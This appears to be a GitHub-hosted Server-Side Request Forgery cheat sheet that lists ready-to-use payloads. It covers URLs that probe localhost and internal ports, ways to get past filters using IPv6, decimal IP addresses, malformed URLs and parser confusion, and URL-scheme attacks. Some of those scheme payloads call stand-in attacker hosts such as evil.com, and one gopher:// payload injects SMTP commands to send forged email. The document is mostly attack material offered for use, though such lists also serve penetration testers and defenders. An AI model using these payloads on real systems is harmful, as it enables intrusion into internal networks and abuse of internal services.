Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.

Exploit

Basic SSRF v1

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22

Basic SSRF v2

http://localhost:80
http://localhost:443
http://localhost:22

Advanced exploit using a redirection

1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1

Advanced exploit using type=url

Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF

Bypassing

Bypass localhost with [::]

http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid

Bypass localhost with a domain redirecting to locahost

http://n-pn.info

Bypass using a decimal ip location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Bypass using malformed urls

localhost:+11211aaa
localhost:00011211aaaa

Bypass using rare address

http://0/

Bypass using tricks combination

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

SSRF via URL Scheme

Dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

Sftp://

ssrf.php?url=sftp://evil.com:11111/

Tftp://

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

Ldap://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT

3.3 KiB Raw Blame History

Server-Side Request Forgery

Exploit

Bypassing

SSRF via URL Scheme

Thanks to

3.3 KiB

Raw Blame History